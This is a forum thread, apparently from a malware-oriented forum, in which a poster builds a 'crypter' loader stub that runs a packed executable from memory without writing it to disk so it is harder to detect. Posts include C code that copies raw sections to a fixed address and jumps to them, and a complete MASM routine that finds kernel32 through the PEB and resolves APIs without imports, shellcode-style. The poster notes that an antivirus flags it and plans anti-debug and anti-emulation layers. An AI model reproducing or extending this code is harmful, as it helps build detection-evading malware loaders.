+ Reply to Thread
Page 1 of 4 123 ... LastLast
Results 1 to 10 of 31
Like Tree20Likes

Thread: Loading a PE32 without a file on Disk.

  1. #1
    Senior Member t0ns0fPhun's Avatar
    Join Date
    Feb 2010
    Posts
    105

    troll Loading a PE32 without a file on Disk.

    Hello

    I'm trying to build a loader stub for my crypter. I have seen how to create a new file, set it to temp, delete on exit, etc.
    However I want to go down the stealthier path, and not write anything on disk or create a new file.
    I have found a source in rohitab about executing a PE file from memory.
    It is I believe, based, on Tan Chew Keong's POC posted in 2004 on win32 forking.
    I have been experimenting with this, and although it looks promising (and working!), is a bit more complicated that I would want it to be.

    So I started toying with the idea of setting my executable's base address to a lower memory address, and then just loading the actual crypted file's code, data and import
    section's in the most commonly used memory address: 0x00400000.
    In VC++, under link, there is an advanced option: Base address. I've managed to get a simple app to load at 0x00300000, and set its sections using this base address, leaving
    0x00400000 free for the crypted application. Now I know that this is a tricky approach, and have managed to get it working up to a point.

    Code:
    int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,PSTR szCmdParam, int iCmdShow)
    {
    	DWORD error = 0;
    	LPVOID BaseAddr = NULL;
    	DWORD oldVal = NULL;
    
    	BaseAddr = VirtualAlloc((LPVOID)0x00400000,0x4000,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
    	bool ok = VirtualProtect(BaseAddr,0x4000,PAGE_EXECUTE_READWRITE,&oldVal);
    	
    	if (BaseAddr != NULL && ok)
    	{
    		memcpy(LPVOID(0x00401000),(void*)CodeStub,39);
    		memcpy(LPVOID(0x00402000),(void*)ImportStub,144);
    		memcpy(LPVOID(0x00403000),(void*)DataStub,16);
    	}
    	else
    	{
    		error = GetLastError();
    	}
    	_asm{
    		mov	eax,00401000h
    		jmp eax
    	}
    }
    The stub is a simple Hello world written in masm:
    Code:
    .data
    HelloWorld db "Hello World!", 0
    .code
    start:
    invoke MessageBoxA, NULL, addr HelloWorld, addr HelloWorld, MB_OK
    invoke ExitProcess, 0
    end start
    The stub imported are the actual bytes:
    Code:
    unsigned char CodeStub[39] = {
    	0x6A, 0x00, 0x68, 0x00, 0x30, 0x40, 0x00, 0x68, 0x00, 0x30, 0x40, 0x00, 0x6A, 0x00, 0xE8, 0x0D,
    	0x00, 0x00, 0x00, 0x6A, 0x00, 0xE8, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x25, 0x00, 0x20, 0x40, 0x00,
    	0xFF, 0x25, 0x08, 0x20, 0x40, 0x00, 0x00
    };
    
    unsigned char ImportStub[144] = {
    	0x5C, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    	0x4C, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6A, 0x20, 0x00, 0x00,
    	0x00, 0x20, 0x00, 0x00, 0x54, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    	0x86, 0x20, 0x00, 0x00, 0x08, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5C, 0x20, 0x00, 0x00,
    	0x00, 0x00, 0x00, 0x00, 0x78, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0x00, 0x45, 0x78,
    	0x69, 0x74, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x00, 0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C,
    	0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 0xB1, 0x01, 0x4D, 0x65, 0x73, 0x73, 0x61, 0x67,
    	0x65, 0x42, 0x6F, 0x78, 0x41, 0x00, 0x75, 0x73, 0x65, 0x72, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C
    };
    
    unsigned char DataStub[16] = {
    	0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x20, 0x57, 0x6F, 0x72, 0x6C, 0x64, 0x21, 0x00, 0x00, 0x00, 0x00
    };
    Now, When I run this under OllyDbg, it works up to the point where it has to call MessageBoxA.
    The memory is properly allocated and commited, the byte content is properly copied, and the code section works.

    Code:
    00401000    6A 00           PUSH 0
    00401002    68 00304000     PUSH 403000                              ; ASCII "Hello World!"
    00401007    68 00304000     PUSH 403000                              ; ASCII "Hello World!"
    0040100C    6A 00           PUSH 0
    0040100E    E8 0D000000     CALL 00401020
    00401013    6A 00           PUSH 0
    00401015    E8 00000000     CALL 0040101A
    0040101A  ^ FF25 00204000   JMP DWORD PTR DS:[402000]
    00401020  ^ FF25 08204000   JMP DWORD PTR DS:[402008]
    However, when reaching to 0040100E which is the imported kernel function MessageBoxA, it crashes with a memory access violation. The above code (produced by olly), is found in the code
    section copied by the app I've made.

    The exact same code found in the original Hello World is:
    Code:
    00401000  /.  6A 00         PUSH 0                                   ; /Type = MB_OK|MB_DEFBUTTON1|MB_APPLMODAL
    00401002  |.  68 00304000   PUSH OFFSET 00403000                     ; |Caption = "Hello World!"
    00401007  |.  68 00304000   PUSH OFFSET 00403000                     ; |Text = "Hello World!"
    0040100C  |.  6A 00         PUSH 0                                   ; |hOwner = NULL
    0040100E  |.  E8 0D000000   CALL <JMP.&user32.MessageBoxA>           ; \USER32.MessageBoxA
    00401013  |.  6A 00         PUSH 0                                   ; /ExitCode = 0
    00401015  \.  E8 00000000   CALL <JMP.&kernel32.ExitProcess>         ; \KERNEL32.ExitProcess
    0040101A   $- FF25 00204000 JMP DWORD PTR DS:[<&kernel32.ExitProcess
    00401020   $- FF25 08204000 JMP DWORD PTR DS:[<&user32.MessageBoxA>]
    The difference is obvious, here the pointer to the imported function works fine.
    I have kept the section addresses the same in both cases.
    Can anyone please help on what it is that I am missing ?
    My guess is that the host application has kernelbase someplace different, and thus the import table that I copy becomes invalidated, or that because the host application does not use MessageBoxA, and thus user32.dll is not loaded, the MessageBoxA does not exist. However when I try to import MessageBoxA ( and by extension user32.dll ) the memory allocated stops working
    presumably due to the application having a .rsrc, .reloc, i.e.: Occupying the 0x00400000 address for itself.
    I have tried relocating the base address of the host to an even lower memory ( 0x00200000 ), but it still won't work. I've tried manually removing the .rsrc and .reloc but the host app won't work without it in case I use MessageBoxA ( but will work without it, when deleting those sections, funny ).

    When observing the actual debugged code, following the address 0040300E contains the exact same bytes in both cases: the function address of MessageBoxA ( which isn't imported in the host app ) and 00401015 has the function address of ExitProcess, which is imported by the host app. And that is why my guess is that this is an issue of simply loading and importing properly ( i.e. doing a dependency and import walk prior to executing the code section ).

    I really want the opinion of a guru on this, cuz if it is simply a matter of getting the right kernel and function addresses, I can probably solve it through PEB.

    Thank you
    NOTE: I know that hardcoding addresses is bad practice. This is just a test app. A proper one would find the addresses from the crypted PE and use those instead.
    cracksman, zorgion, xafon and 3 others like this.
    mov esi, fs:[ecx + 30h]
    mov esi, [esi + 0Ch]
    mov esi, [esi + 1Ch]

  2. #2
    Senior Member
    Join Date
    Jun 2011
    Location
    EAX
    Posts
    624
    Ah , my brain is full of fuck , so in a nutshell you are trying to jump to the code you carry in an .exe right ?
    i had this idea too , but i still lack the coding part to pull it off.

  3. #3
    Senior Member cracksman's Avatar
    Join Date
    Dec 2006
    Location
    behind your little sister
    Posts
    1,611
    I don't know ASM or C really, but if API addresses are the issue, why not dynamically load them with GetProcAddress?
    I Retired. stop asking me questions. you can find me on msn or ic0de.

  4. #4
    Senior Member zorgion's Avatar
    Join Date
    May 2009
    Location
    Hueco Mundo
    Posts
    627
    http://www.masm32.com/board/index.ph...2&topic=6920.0
    Have a look at LoadEXEfromMem.asm in lib directory.
    ( Me guessing you dont wanna write the sections into your program like thay every time )
    From what I can tell by my poor asm knowledge, it does more or less the same.

    *EDIT*:
    From the looks of it, your loader fails since it never loads the dll's of imports & get the addresses.
    Can't just expect it to get loaded just by setting a pointer to that address xP

    Had the same problem when rebuilding LoadLibrary, even had to have a look at the win2k src couple times to understand it since
    my asm skill is soo low it's mostly google & guessing ( unless it's really obv. like in the LoadEXEfromMem.asm )
    Last edited by zorgion; 19-02-2012 at 20:09.
    cracksman and t0ns0fPhun like this.
    http://home.no/zorgion/bsod.jpg

  5. #5
    Senior Member LeFF's Avatar
    Join Date
    Mar 2011
    Posts
    409
    first thing is... a code at rohithad doesn't fix import table, relocation table, resource section and tls... and the poc doesn't do it either, as it loads the code within an external process that was created suspended... at that moment import table are about to be fixed by windows loader, so that code actually doesn't need to fix import table... but the code is still very shitty... as for your case, you will need to fix all of these tables, if you want your cripter to be not-shitty... however in this particular case, the code fails on messagebox call, as actual address of messagebox was not fixed by your loader... first of all you need to add pe-headers at baseaddress, parse it, and fix every entry in import table... a lot of examples exists over the internet, just google it... something like this, I guess...
    Last edited by LeFF; 19-02-2012 at 22:34.

  6. #6
    Senior Member t0ns0fPhun's Avatar
    Join Date
    Feb 2010
    Posts
    105
    Hi.

    I know why MessageBoxA fails to execute. Its function address is found in user32.dll which is not loaded. I can search and find any function I want through the PEB pointer which gives me kernel baseaddress.
    Or, I could leave the imports as they are in the crypted application, so when the host app is loaded, those imports are parsed properly. But then I reveal the imported functions. However, from there it would be a matter of relocating the import section from my lower address ( 0x00302000 ) to wherever the crypted app expects to find them ( 0x00402000 ).
    The main difference from creating a thread suspended and writing to its memory process, is that the loader does all the import function lookup ( as LeFF said ).
    In my case, I have to do the import dependency walk and lookup, but I am not creating a new thread/processes ( the code at rohitab is basically a win32 fork ), but rather store everything in the same process space
    and then jump into it.
    That is why I do not need the PE & section headers, but only the Actual bytes from the sections. As far as they are in their expected base address and virtual address, they should work fine.
    @Zorgion, thanks for the link, will have a look at it at some point, the OP has probably solved the import rebuild/dependency rebuild.
    @LeFF, I do not need to rebuild the Import table, I need to get the Function address of the function requested, and load the corresponding library.
    @CrackMan, simply loading them may not work. I have to load them, and link the Call to the function with a valid pointer to the imported function, but yes, that is the general idea.
    I think I might know how to do this after all...
    Last edited by t0ns0fPhun; 20-02-2012 at 14:30.
    cracksman and kubano like this.
    mov esi, fs:[ecx + 30h]
    mov esi, [esi + 0Ch]
    mov esi, [esi + 1Ch]

  7. #7
    Senior Member cracksman's Avatar
    Join Date
    Dec 2006
    Location
    behind your little sister
    Posts
    1,611
    Quote Originally Posted by t0ns0fPhun View Post
    I think I might know how to do this after all...
    make sure to post results, I find this topic quite interesting.

    p.s. its cracksman. :'(
    thugsndanation likes this.
    I Retired. stop asking me questions. you can find me on msn or ic0de.

  8. #8
    Senior Member LeFF's Avatar
    Join Date
    Mar 2011
    Posts
    409
    That is why I do not need the PE & section headers, but only the Actual bytes from the sections. As far as they are in their expected base address and virtual address, they should work fine.
    yeah, show me how you are going to fix import table without NT-headers... first of all import descriptors can be situated not only in a separate section (.idata), it can be mixed with data section for example (.rdata/.data), or even be in code section (.text)... and even if import descriptors are in separate section, in most cases it starts at some offset from the section start... where import descriptors are situated can be found in NT-headers... also all functions like resource functions, GetProcAddress, etc are assuming that you are giving them imagebase of a correctly loaded pe-file, so they expect to see DOS-header and NT-headers on the first page... so if you don't save PE-file headers at the first page you won't be able to use resources and some other functions with your packed pe-file...
    Last edited by LeFF; 21-02-2012 at 07:49.

  9. #9
    Senior Member t0ns0fPhun's Avatar
    Join Date
    Feb 2010
    Posts
    105
    Quote Originally Posted by LeFF View Post
    yeah, show me how you are going to fix import table without NT-headers... first of all import descriptors can be situated not only in a separate section (.idata), it can be mixed with data section for example (.rdata/.data), or even be in code section (.text)... and even if import descriptors are in separate section, in most cases it starts at some offset from the section start... where import descriptors are situated can be found in NT-headers... also all functions like resource functions, GetProcAddress, etc are assuming that you are giving them imagebase of a correctly loaded pe-file, so they expect to see DOS-header and NT-headers on the first page... so if you don't save PE-file headers at the first page you won't be able to use resources and some other functions with your packed pe-file...
    I think you are getting confused LeFF. Nt headers have nothing to do with imports. Import section (.rdata) is the one responsible for any imported functions.
    The way it usually works is:
    A referenced function from an external dll/exe/sys/com/etc is imported by the loader. The import section holds the table and the actual address as where the function is found ( @Crackman that is why one reason why LoadLibrary is not a solution. If I'm not importing anything, I need the Kernelbase address first, where loadlibrary resides ).
    As the loader parses the correct function address, into the import table, a pointer to that function address ( a pointer on its own accord ) is referenced by the actual code (.text section).
    You can see this in the hello world example above:

    Code:
    00401015    E8 00000000     CALL 0040101A
    ...
    0040101A   $- FF25 00204000 JMP DWORD PTR DS:[<&kernel32.ExitProcess]
    ...
    As you might guess, all I have to do in this case, is find the correct address of ExitProcess, and inject it at address 00402000, which is where the Import (.rdata) section starts, and where the code expects to find it.
    Another way, equally easy, would be to simply find ExitProcess, and change the
    Code:
    JMP DWORD PTR DS:[402000]
    ( which Ollydbg translates as a jump to the pointer to the function) to an address where I have stored the proper function address ( on stack, on register, anywhere ).
    Finding the correct address of ExitProcess is not very hard either, all you need is the Kernel's baseaddress, and from there on, iterate the exported function names, find its index position, adjust for the ordinal, and then go the address table and get it. I have added the masm code which does that, but you can do that in C/C++ the same way ( with easier to understand code ).

    All the assembly code, C code, C++, I've ever seen works exactly like that. There may be exceptions to this, in which case, all that is needed is detect them on time, and adjust accordingly.

    Now to the memory addresses.
    in most cases it starts at some offset from the section start... where import descriptors are situated can be found in NT-headers...
    That is correct. And that is why, if you see in the code, I use the original image base, and I align according to the original VA's.
    I am not doing anything different from what the Nt's PE loader does.
    If a file expects to find its import section at 00402000, I find that at the import section header, and then when I load the import section, I copy it at 00402000.
    The exact same applies for the Data, Code, Resource and even Relocation sections.
    The idea behind what I am doing is really very simple. The host app ( the crypter ) instead of loading at 00400000 which is the prefered image base address for PE files, is forced to load at a lower address ( 00300000 ) or it could do it at a higher address. As long as 00400000 is not occupied in the Virtual Memory of the application, the encrypted/compressed application should have no problem whatsoever loading and working. Addresses are the same, alignment is the same. There are a few things to watch for, such as heap allocation ( in the PE/NT header ) because now the application may have higher requirements.
    This way, I do not spawn a new (detectable) process, and effectively encapsulate everything in my own process space.
    The added benefit of this, is that I do not reveal the code, data or imports, and if I was paranoid, I could do an on-the-fly decryption per instruction ( only the executed instruction is decrypted ), add alot of anti-debug and anti-emulate code prior to loading it, and thus effectively protect it, encrypt it and compress it.
    On the down side, if something does go wrong, it may be hard to deal with it. A SEH encapsulation may help, but I am not sure how much.
    The alternative way ( the one in rohitab, which is basically a copy from the Proof of Concept from the Sig^2 group ), does not bother with imports, rellocation, etc, but leaves that to the NT loader to deal with. It does however spawn a new process, and thus is much easier detectable & reversable.

    I will prob try to finish this during the weekend and post results.
    The code to get kernelbase from PEB, and find a function ( imported or not ) is below ( credits to the original Authors, I simply combined parts and rewrote it for masm & added comments )

    Code:
    ;****************************************************************************************************
    ;	Author : eb0la																					*
    ;	credits: theBIT (vx.netlug.org), skypher														*	
    ;																									*
    ;	No imports are used here at all !																*
    ;	The app does the following:																		*
    ;		1) Find PEB																					*
    ;		2) Find PEB->Ldr																			*
    ;		3) Iterate modules on PEB->Ldr list															*
    ;		4) Find Kernel32.dll																		*
    ;		5) Find LoadLibraryA																		*
    ;		6) Use LoadLibraryA to load user32.dll														*
    ;		7) Find MessageBoxA in user32																*
    ;		8) Call MessageBox																			*
    ;		9) Find ExitProcess in Kernel32																*
    ;		10) Exit Process !																			*
    ;	Total app size is 281 bytes, payload size ( titles, api names) is 66 bytes, code size is 215	*
    ;	NOTE: Code is NOT optimized ! Size could be reduced more, and so could complexity !				*
    ;	NOTE2: One AV picks it up. My guess: skyphe's PEB procedure has been widely used.				*
    ;****************************************************************************************************
    .386
    .model flat,stdcall
    option casemap :none
    .code
    start:
    	call	GetDelta
    GetDelta:
    	pop	ebp
    	sub	ebp, offset GetDelta
    ;***********************************		GetKernel		***************************************** 
    ; 	Let's find the kernel32.dll It is tricky nowadays, because win7 changed the architecture		*
    ;	Courtesy from: http://skypher.com/index.php/2009/07/22/shellcode-finding-kernel32-in-windows-7/	*
    ;****************************************************************************************************
    getKernel:
    	assume 	fs:nothing					; masm initiative
    	mov		esi, fs:[ecx + 30h]        	; ESI = &(PEB) ([FS:0x30])
    	mov 	esi, [esi + 0Ch]           	; ESI = PEB->Ldr
    	mov 	esi, [esi + 1Ch]           	; ESI = PEB->Ldr.InInitOrder
    	; We will walk PEB modules, searching for the first 12 characters long, null terminated ( kernel32.dll )
    	next_module:
    		mov		ebp, [esi + 08h]           ; EBP = InInitOrder[X].base_address
    		mov		edi, [esi + 20h]           ; EBP = InInitOrder[X].module_name (unicode)
    		mov 	esi, [esi]                 ; ESI = InInitOrder[X].flink (next module)
    		cmp		[edi + 12*2], cl           ; modulename[12] == 0 ?
    		jne 	next_module                ; No: try next module.
    	; At this point we have the address of kernel32.dll in EBP and the name of the dll (unicode) in EDI
    	; total code so far: 25bytes
    	
    test_it:
    	lea		edi, [lodliba]		; find LoadLibraryA
    	call	GetAPIs
    	lea		edi, [userdll]		; load in edi user32.dll
    	push	edi					; push argument to LoadLibraryA
    	call	eax					; Call LoadLibraryA ( remember ! ECX, EAX, etc are not preserved !)
     								; If LoadLibraryA worked, HMODULE will be returned in eax
     	push	ebp					; store kernel32.dll base address for later !
     	mov		ebp, eax			; don't forget to move user32.dll base address to ebp !
     	lea		edi, [msgboxa]		; find MessageBoxA
     	call	GetAPIs
     	push	00000030h
     	lea		edi, [msgtxt]
     	push	edi
     	push	edi
     	push	0
     	call	eax					; Call MessageBoxA ( note: due to no includes, no masm macros :( )
     	pop		ebp					; retrieve kernel32.dll address
     	lea		edi, [extproc]
     	call	GetAPIs				; Get ExitProcess
     	; Call ExitProcess
     	push	0
     	call 	eax
    
    ;************************************************	 GetAPIs	*****************************************************
    ;	Search Module (Kernel32.dll, user32.dll, etc) for valid signatures, find export directory, search for a API 	*
    ;	EBP: Base address of Module																						*
    ;	EDI: API name																									*
    ;	@ return, EAX: Address of function																				*
    ;********************************************************************************************************************
    GetAPIs:
    	; save the API name for later
    	push	edi
    	; first of all verify that address has "MZ"
    	cmp 	word ptr [ebp],'ZM'
    	jnz 	exit_now
     	; Check for PE sig
     	mov 	edi, dword ptr [ebp + 3ch]
     	add 	edi, ebp
     	cmp 	word ptr [edi], 'EP'
     	jnz 	exit_now
     	; image_nt_headers.optional_header ( this field is always 18 bytes after the PE signature )
     	xor 	edi, edi	; <- Is this needed ?
     	mov 	edi, dword ptr [ebp+3ch]
     	add 	edi, 18h
     	add 	edi, ebp
     	cmp 	word ptr [edi], 020Bh ; 020B -> PE64, 010B ->PE32
     	je		exit_now	; exit if PE64 ? No, we're not infecting it, we're loading function addresses...
     	add 	edi, 60h				; note: 60 bytes, because I've already added 18 for the optional_header
    	; if I was to add straight from the PE sign position, then I would add 78 bytes. EDI now points to the RVA of the EAT
    	mov 	eax, dword ptr [edi]	; EAX = EDI -> PE signature (e.lfanew) of kernel32.dll
    	add 	eax, ebp				; raw address of EAT
    	; The EAT has a number of entries: Name, NumOfFunct, NumOfNames, AddrOfFunctions, AddrOfNames, AddrOfOrdinals.
    	; each one of those is a pointer to a RVA to an array of RVA's !
    	mov 	ecx, [eax+18h]			; ECX now has the number of functions exported
    	dec 	ecx						; ECX -1, array is index based ( starts from zero )
     	; EDX now has the pointer to the start of the array of AddressOfNames
     	mov 	edx, [eax+20h]
     	add 	edx, ebp				; Convert RVA to raw address 
     	pop		edi						; retrieve the API name
     	; A loop which checks the Export Function name, Please note: It iterates from the end towards the start !
     	find_loop:
     		; Get the RVA of the export name ( EDX = [start of AddrOfNames] + ECX  (index) * 4 ) note: 4 for a word ?
     		mov     esi, [edx + ecx * 4]	
     		add     esi, ebp            	; Calculate the raw address using the module base address
     		push	edx						
     		push	eax						; save EAT's raw address
     		push	edi						; save the API's name
     		xor		eax,eax
     		xor		ebx,ebx
     		; Compare strings
     		str_loop:	
     			; Following copies one byte at a time from left to right into the AL & BL
     			mov     al, [esi]		; Char of first string
     			mov     bl, [edi]      	; Char of second string
     			sub		al, bl			; subtract one from another, if zero they are equal
     			jne     str_diff        ; Fail comparison
     			cmp		bl, 0			; end of 2nd string (null terminated?)
     			jz      str_equal		; strings are equal
     			inc     esi				; next char in string 1
     			inc		edi				; next char in string 2
     			jmp     str_loop        ; Continue comparing
     		; Compare a different string
     		str_diff:
     			; restore saved addresses
     			pop		edi				; restore API's name
     			pop		eax				; restore EAT's address
     			pop		edx
     			; Continue iterating different strings in AddressOfNames
     			loop	find_loop
     			; Until ECX ( Number of names ) reaches zero
     			jmp		find_error
     		; Strings are equal
     		str_equal:
     		 	; restore saved addresses
     		 	pop		edi					; API name
     			pop		eax					; restore EAT's address
     			pop		edx
     			; Find the Ordinals Table !
     			mov     ebx, [eax + 024h]   ; Extract the rva of the ordinals table ( EAT + 024h )
     			add		ebx, ebp			; Make it a VA
     			; Get the Current symbol from the Ordinal Table entry of the Indexed function
     			mov     cx, [ebx + ecx * 2] ; CX = EBX [->OrdinalTable] + [IndexNumberOfFunction] *(2 bytes) 
     			; Get the AddressOfFunctions from the export directory table !
     			mov		ebx, [eax + 01Ch]   ; RVA of the address table into EBX ( EAT + 01C )
     			add		ebx, ebp			; Make it a VA
     			; And finally, find the function's Address !
     			mov		eax, [ebx + ecx * 4]; EAX = [->AddressOfFunction + IndexNumberOfFunction * (4 bytes)]
     			add		eax, ebp			; make it a VA
     			ret							; return function address in EAX
     		find_error:
     			jmp exit_now
    exit_now:
    	ret	; Nasty way to exit...
    lodliba db  "LoadLibraryA",0
    userdll	db	"user32.dll",0
    msgboxa	db	"MessageBoxA",0
    msgtxt	db	"No Imports ! :-D",0
    extproc	db	"ExitProcess",0
    end start
    Last edited by t0ns0fPhun; 21-02-2012 at 15:41.
    mov esi, fs:[ecx + 30h]
    mov esi, [esi + 0Ch]
    mov esi, [esi + 1Ch]

  10. #10
    Senior Member LeFF's Avatar
    Join Date
    Mar 2011
    Posts
    409
    I think you are getting confused LeFF
    damn, I hate when people start arguing about something they don't fucking know...
    NT_HEADERS -> OPTIONAL_HEADER -> DATA_DIRECTORIES ->
    Code:
    typedef struct _IMAGE_DATA_DIRECTORY {
      DWORD VirtualAddress; // <- this is what you are fucking missing
      DWORD Size;
    } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
    in your stupid example import table descriptors starts art the beginning of .rdata section only because there is no other shit stored in .rdata... there is no constant data, there is no switch/case jump tables, etc... actually you are quite lucky that your import table starts at the beginning of a section, however if you are going to load some other pe-files (not just an single asm compiled 4k binaries) you will need NT-headers to find imort table, reloc table, etc...

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. [q] about manual dll loading
    By scarabaeus in forum Malware Discussion and General Help
    Replies: 3
    Last Post: 12-08-2011, 16:27
  2. USB Disk Detection - by Napalm
    By zorgion in forum Snippets
    Replies: 1
    Last Post: 13-05-2010, 09:40
  3. Disk Space =\
    By mjrod5 in forum Delphi Help
    Replies: 4
    Last Post: 06-05-2009, 01:04
  4. Disk Space and crapp..
    By mjrod5 in forum Delphi Help
    Replies: 0
    Last Post: 12-03-2009, 03:15
  5. DLL Loading...
    By unreachableboy in forum General Programming Help
    Replies: 0
    Last Post: 03-11-2005, 19:30

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts

Search Engine Friendly URLs by vBSEO 3.6.0 ©2011, Crawlability, Inc.